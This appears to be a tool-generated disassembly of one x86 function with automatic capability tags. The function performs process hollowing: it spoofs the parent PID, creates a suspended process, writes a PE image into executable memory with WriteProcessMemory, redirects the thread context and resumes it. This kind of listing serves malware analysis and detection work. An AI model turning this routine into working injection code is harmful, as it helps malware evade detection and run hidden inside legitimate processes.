Function at 0x2b81186
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Parse pe header
Resume thread
Spoof parent pid
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
push ebx
xor eax, eax
mov dword [ebp - 0xc], ecx
push esi
mov ebx, edx
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
call fcn.02b8155f
mov edi, dword [ebp + 0x18]
test eax, eax
jne 0x2b811bd
mov ebx, dword [ebp - 0x14]
xor eax, eax
mov esi, eax
jmp 0x2b814f7
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x2b811b1
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [ebp - 8], eax
cmp dword [eax], 0x4550
jne 0x2b811b1
xor edx, edx
mov esi, edx
cmp dword [ebp + 0xc], edx
je 0x2b811f5
mov esi, dword [ebp + 0xc]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x2b811e6
sub esi, ecx
sar esi, 1
lea eax, [esi*2 + 0x21c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x30], ebx
test ebx, ebx
je 0x2b814ef
lea eax, [esi*2 + 0x21c]
mov ecx, ebx
push eax
call fcn.02b8553d
pop ecx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
test esi, esi
je 0x2b8124a
mov esi, dword [sym.imp.SHLWAPI.dll_StrCatW]
push 0x2b8720c
push ebx
call esi
push dword [ebp + 0xc]
push ebx
call esi
push dword [ebp + 0x14]
push 0
push 0x80
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x2b8126a
xor eax, eax
mov esi, eax
jmp 0x2b814f7
push 0x48
pop esi
push esi
lea ecx, [ebp - 0x94]
call fcn.02b8553d
pop ecx
xor ecx, ecx
mov dword [ebp - 0x94], esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea eax, [ebp - 0x24]
push eax
push ecx
push 1
push ecx
mov dword [ebp - 0x24], ecx
call esi
push dword [ebp - 0x24]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x14], eax
push ecx
push 0
push 1
push eax
call esi
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
xor ecx, ecx
push ecx
push ecx
push 4
push eax
push 0x20000
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x2b81261
push edi
lea eax, [ebp - 0x94]
mov dword [ebp - 0x50], esi
push eax
xor esi, esi
push esi
push esi
push 0x80004
push esi
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x2b812fe
xor eax, eax
jmp 0x2b814f7
lea eax, [ebp - 0x364]
mov dword [ebp - 0x364], 0x10007
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x2b812f7
mov ecx, dword [edi]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
call fcn.02b81142
test eax, eax
je 0x2b812f7
mov eax, dword [ebp + 8]
shl eax, 3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 8]
mov esi, eax
mov dword [ebp - 0x10], esi
mov eax, dword [ecx + 0x50]
mov ecx, 0x190000
cmp eax, ecx
cmovbe eax, ecx
mov dword [ebp - 0x20], eax
mov eax, 0x10000
mov dword [ebp - 8], eax
push 0x1c
lea ecx, [ebp - 0x4c]
push ecx
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 8], eax
cmp ecx, dword [ebp - 0x20]
jb 0x2b81393
cmp dword [ebp - 0x38], 1
jne 0x2b81393
cmp dword [ebp - 0x3c], 0x10000
je 0x2b813a0
cmp edx, 0x80000000
jb 0x2b81362
jmp 0x2b81261
push ecx
push ecx
mov ecx, edx
call section..text
pop ecx
pop ecx
push 0
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 0xc]
push 4
add eax, 8
push ecx
push eax
push dword [edi]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x2b81261
push 0
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x2b81261
push dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov edx, esi
call fcn.02b810c4
pop ecx
test eax, eax
je 0x2b81261
push dword [ebp - 0x18]
mov esi, dword [esi + 0x3c]
push dword [edi]
add esi, dword [ebp - 0x10]
call dword [0x2ba9fd4]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [ebp - 0x18]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [ebp - 0x20], ecx
test ecx, ecx
je 0x2b81261
mov eax, dword [ebp - 0x18]
push 0
push dword [esi + 0x54]
mov dword [esi + 0x34], eax
push dword [ebp - 0x10]
push ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x2b81261
mov eax, dword [ebp - 0x10]
and dword [ebp - 0xc], 0
mov ecx, dword [eax + 0x3c]
xor eax, eax
cmp ax, word [esi + 6]
jae 0x2b814aa
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x10]
add edx, 0x104
add edx, ecx
mov dword [ebp - 0x1c], edx
mov ecx, dword [edx]
push 0
push dword [edx + 4]
lea eax, [ecx + ebx]
push eax
mov eax, dword [ebp - 0x20]
add eax, ecx
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add edx, 0x28
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0xc], ecx
cmp ecx, eax
jb 0x2b81476
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
push 0
push 4
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2b4], eax
lea eax, [ebp - 0x364]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [edi + 8]
xor eax, eax
jmp 0x2b814f3
xor eax, eax
mov esi, eax
test esi, esi
jne 0x2b81505
cmp dword [edi], 0
je 0x2b81505
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x2b8151e
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
test ebx, ebx
je 0x2b8152e
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x2b8153c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x2b81556
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret